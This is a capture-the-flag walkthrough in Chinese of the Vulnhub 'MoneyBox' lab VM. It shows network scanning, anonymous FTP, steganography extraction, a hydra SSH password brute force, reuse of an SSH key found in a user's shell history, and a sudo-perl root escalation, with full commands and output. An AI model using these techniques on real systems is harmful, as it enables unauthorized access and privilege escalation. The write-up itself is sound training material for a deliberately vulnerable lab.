Monkeybox
識別目標主機IP地址
─(kali?kali)-[~/Desktop/Vulnhub/Monkeybox]
└─$ sudo netdiscover -i eth1 -r 192.168.56.0/24
Currently scanning: Finished! | Screen View: Unique Hosts
3 Captured ARP Req/Rep packets, from 3 hosts. Total size: 180
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.56.1 0a:00:27:00:00:11 1 60 Unknown vendor
192.168.56.100 08:00:27:10:8b:6f 1 60 PCS Systemtechnik GmbH
192.168.56.244 08:00:27:ce:e9:a8 1 60 PCS Systemtechnik GmbH
利用Kali Linux的netdiscover工具識別目標主機的IP地址為192.168.56.244
NMAP掃描
┌──(kali?kali)-[~/Desktop/Vulnhub/Monkeybox]
└─$ sudo nmap -sS -sV -sC -p- 192.168.56.244 -oN nmap_full_scan
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-05 21:45 EDT
Nmap scan report for bogon (192.168.56.244)
Host is up (0.00021s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:192.168.56.230
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 1093656 Feb 26 2021 trytofind.jpg
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 1e:30:ce:72:81:e0:a2:3d:5c:28:88:8b:12:ac:fa:ac (RSA)
| 256 01:9d:fa:fb:f2:06:37:c0:12:fc:01:8b:24:8f:53:ae (ECDSA)
|_ 256 2f:34:b3:d0:74:b4:7f:8d:17:d2:37:b1:2e:32:f7:eb (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: MoneyBox
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:CE:E9:A8 (Oracle VirtualBox virtual NIC)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.33 seconds
NMAP掃描結果表明目標主機有3個開放埠：21（ftp)、22（ssh)、80(http)
獲得Shell
┌──(kali?kali)-[~/Desktop/Vulnhub/Monkeybox]
└─$ ftp 192.168.56.244
Connected to 192.168.56.244.
220 (vsFTPd 3.0.3)
Name (192.168.56.244:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -alh
229 Entering Extended Passive Mode (|||6250|)
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Feb 26 2021 .
drwxr-xr-x 2 0 0 4096 Feb 26 2021 ..
-rw-r--r-- 1 0 0 1093656 Feb 26 2021 trytofind.jpg
226 Directory send OK.
ftp> get trytofind.jpg
local: trytofind.jpg remote: trytofind.jpg
229 Entering Extended Passive Mode (|||34432|)
150 Opening BINARY mode data connection for trytofind.jpg (1093656 bytes).
100% |****************************************************************************************************************| 1068 KiB 7.82 MiB/s 00:00 ETA
226 Transfer complete.
1093656 bytes received in 00:00 (7.79 MiB/s)
ftp> put test.txt
local: test.txt remote: test.txt
229 Entering Extended Passive Mode (|||17931|)
550 Permission denied.
-
目標主機允許匿名FTP訪問
-
不允許匿名用戶上傳檔案
-
FTP服務版本沒有漏洞可利用
┌──(kali?kali)-[~/Desktop/Vulnhub/Monkeybox]
└─$ steghide extract -sf trytofind.jpg
Enter passphrase:
┌──(kali?kali)-[~/Desktop/Vulnhub/Monkeybox]
└─$ stegseek trytofind.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek
[i] Progress: 99.72% (133.1 MB)
[!] error: Could not find a valid passphrase.
┌──(kali?kali)-[~/Desktop/Vulnhub/Monkeybox]
└─$ exiftool trytofind.jpg
ExifTool Version Number : 12.44
File Name : trytofind.jpg
Directory : .
File Size : 1094 kB
File Modification Date/Time : 2021:02:26 04:48:17-05:00
File Access Date/Time : 2023:04:05 21:48:25-04:00
File Inode Change Date/Time : 2023:04:05 21:48:25-04:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : inches
X Resolution : 72
Y Resolution : 72
Image Width : 3984
Image Height : 2988
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2)
Image Size : 3984x2988
Megapixels : 11.9
┌──(kali?kali)-[~/Desktop/Vulnhub/Monkeybox]
└─$ binwalk -e trytofind.jpg
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 JPEG image data, JFIF standard 1.01
對FTP下載下來的檔案沒有分析出有價值的資訊，
┌──(kali?kali)-[~/Desktop/Vulnhub/Monkeybox]
└─$ gobuster dir -u http://192.168.56.244 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.sh,.js,.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.56.244
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Extensions: php,html,sh,js,txt
[+] Timeout: 10s
===============================================================
2023/04/05 21:53:48 Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 279]
/index.html (Status: 200) [Size: 621]
/blogs (Status: 301) [Size: 316] [--> http://192.168.56.244/blogs/]
Progress: 222012 / 1323366 (16.78%)^C
[!] Keyboard interrupt detected, terminating.
gobuster工具識別出目錄/blogs
┌──(kali?kali)-[~/Desktop/Vulnhub/Monkeybox]
└─$ curl http://192.168.56.244/blogs/
<html>
<head><title>MoneyBox</title></head>
<body>
<h1>I'm T0m-H4ck3r</h1><br>
<p>I Already Hacked This Box and Informed.But They didn't Do any Security configuration</p>
<p>If You Want Hint For Next Step......?<p>
</body>
</html>
<!--the hint is the another secret directory is S3cr3t-T3xt-->
┌──(kali?kali)-[~/Desktop/Vulnhub/Monkeybox]
└─$ curl http://192.168.56.244/S3cr3t-T3xt/
<html>
<head><title>MoneyBox</title></head>
<body>
<h1>There is Nothing In this Page.........</h1>
</body>
</html>
<!..Secret Key 3xtr4ctd4t4 >
這會不會是圖片的密碼？
┌──(kali?kali)-[~/Desktop/Vulnhub/Monkeybox]
└─$ steghide extract -sf trytofind.jpg
Enter passphrase:
wrote extracted data to "data.txt".
┌──(kali?kali)-[~/Desktop/Vulnhub/Monkeybox]
└─$ ls -alh
total 1.1M
drwxr-xr-x 2 kali kali 4.0K Apr 5 22:00 .
drwxr-xr-x 19 kali kali 4.0K Apr 5 21:43 ..
-rw-r--r-- 1 kali kali 136 Apr 5 22:00 data.txt
-rw-r--r-- 1 root root 1.5K Apr 5 21:45 nmap_full_scan
-rw-r--r-- 1 kali kali 12 Apr 5 21:48 test.txt
-rw-r--r-- 1 kali kali 1.1M Feb 26 2021 trytofind.jpg
┌──(kali?kali)-[~/Desktop/Vulnhub/Monkeybox]
└─$ cat data.txt
Hello..... renu
I tell you something Important.Your Password is too Week So Change Your Password
Don't Underestimate it.......
說明兩件事情：
-
用戶名renu
-
密碼比較弱，可以破解
但是不知道是FTP還是ssh,先嘗試ssh
┌──(kali?kali)-[~/Desktop/Vulnhub/Monkeybox]
└─$ hydra -l renu -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.244
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-04-05 22:01:46
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.56.244:22/
[22][ssh] host: 192.168.56.244 login: renu password: 987654321
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete until end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
成功得到了用戶renu的密碼
┌──(kali?kali)-[~/Desktop/Vulnhub/Monkeybox]
└─$ ssh [email protected]
[email protected]'s password:
Linux MoneyBox 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Feb 26 08:53:43 2021 from 192.168.43.44
renu@MoneyBox:~$ id
uid=1001(renu) gid=1001(renu) groups=1001(renu)
renu@MoneyBox:~$ ls -alh
total 40K
drwxr-xr-x 5 renu renu 4.0K Feb 26 2021 .
drwxr-xr-x 4 root root 4.0K Feb 26 2021 ..
-rw------- 1 renu renu 642 Feb 26 2021 .bash_history
-rw-r--r-- 1 renu renu 220 Apr 17 2019 .bash_logout
-rw-r--r-- 1 renu renu 3.5K Apr 17 2019 .bashrc
drwxr-xr-x 3 root root 4.0K Feb 26 2021 ftp
drwxr-xr-x 3 renu renu 4.0K Feb 26 2021 .local
-rw-r--r-- 1 renu renu 807 Apr 17 2019 .profile
drwx------ 2 renu renu 4.0K Feb 26 2021 .ssh
-rw-r--r-- 1 renu renu 64 Feb 26 2021 user1.txt
renu@MoneyBox:~$ cat user1.txt
Yes...!
You Got it User1 Flag
==> us3r1{F14g:0ku74tbd3777y4}
renu@MoneyBox:~$ cat .bash_history
cler
ls
ls -la
cd /home
ls
clear
cd
ls
ls -la
exit
clear
ls
ls -la
cd /home
ls
cd lily
ls
ls -la
clear
cd
clear
ssh-keygen -t rsa
clear
cd .ssh
ls
ssh-copy-id [email protected]
clear
cd
cd -
ls -l
chmod 400 id_rsa
ls -l
ssh -i id_rsa [email protected]
clear
ssh -i id_rsa [email protected]
cd
clear
cd .ssh/
ls
ssh -i id_rsa [email protected]
su lily
clear
cd
sudo apt install openssh
sudo apt update
sudo apt install openssh-server
sudo service ssh start
sudo service ssh status
clear
cd /etc/
ls
cd ssh
ls
nano ssh_config
ls
nano sshd_config
clear
cd
ls
ls -la
chsh bash
chsh
clear
su root
clear
sudo apt install openssh
su root
exit
從用戶renu的歷史命令可知，可以ssh到另一個用戶lily
renu@MoneyBox:~$ cd /home
renu@MoneyBox:/home$ ls -alh
total 16K
drwxr-xr-x 4 root root 4.0K Feb 26 2021 .
drwxr-xr-x 18 root root 4.0K Feb 25 2021 ..
drwxr-xr-x 4 lily lily 4.0K Feb 26 2021 lily
drwxr-xr-x 5 renu renu 4.0K Feb 26 2021 renu
renu@MoneyBox:/home$ cd renu/.ssh/
renu@MoneyBox:~/.ssh$ ssh -i id_rsa [email protected]
The authenticity of host '192.168.56.244 (192.168.56.244)' can't be established.
ECDSA key fingerprint is SHA256:8GzSoXjLv35yJ7cQf1EE0rFBb9kLK/K1hAjzK/IXk8I.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.56.244' (ECDSA) to the list of known hosts.
Linux MoneyBox 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Feb 26 09:07:47 2021 from 192.168.43.80
lily@MoneyBox:~$ id
uid=1000(lily) gid=1000(lily) groups=1000(lily),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev)
lily@MoneyBox:~$ cat user2.txt
Yeah.....
You Got a User2 Flag
==> us3r{F14g:tr5827r5wu6nklao}
得到了第2個flag
提權
lily@MoneyBox:~$ sudo -l
Matching Defaults entries for lily on MoneyBox:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User lily may run the following commands on MoneyBox:
(ALL : ALL) NOPASSWD: /usr/bin/perl
參考GTFOBINS網站的方法進行提權：
lily@MoneyBox:~$ sudo /usr/bin/perl -e 'exec "/bin/sh";'
# cd /root
# ls -alh
total 28K
drwx------ 3 root root 4.0K Feb 26 2021 .
drwxr-xr-x 18 root root 4.0K Feb 25 2021 ..
-rw------- 1 root root 2.1K Feb 26 2021 .bash_history
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 3 root root 4.0K Feb 25 2021 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rw-r--r-- 1 root root 228 Feb 26 2021 .root.txt
# cat .root.txt
Congratulations.......!
You Successfully completed MoneyBox
Finally The Root Flag
==> r00t{H4ckth3p14n3t}
I'm Kirthik-KarvendhanT
It's My First CTF Box
instagram : ____kirthik____
See You Back....
#
至此得到了root shell以及root flag
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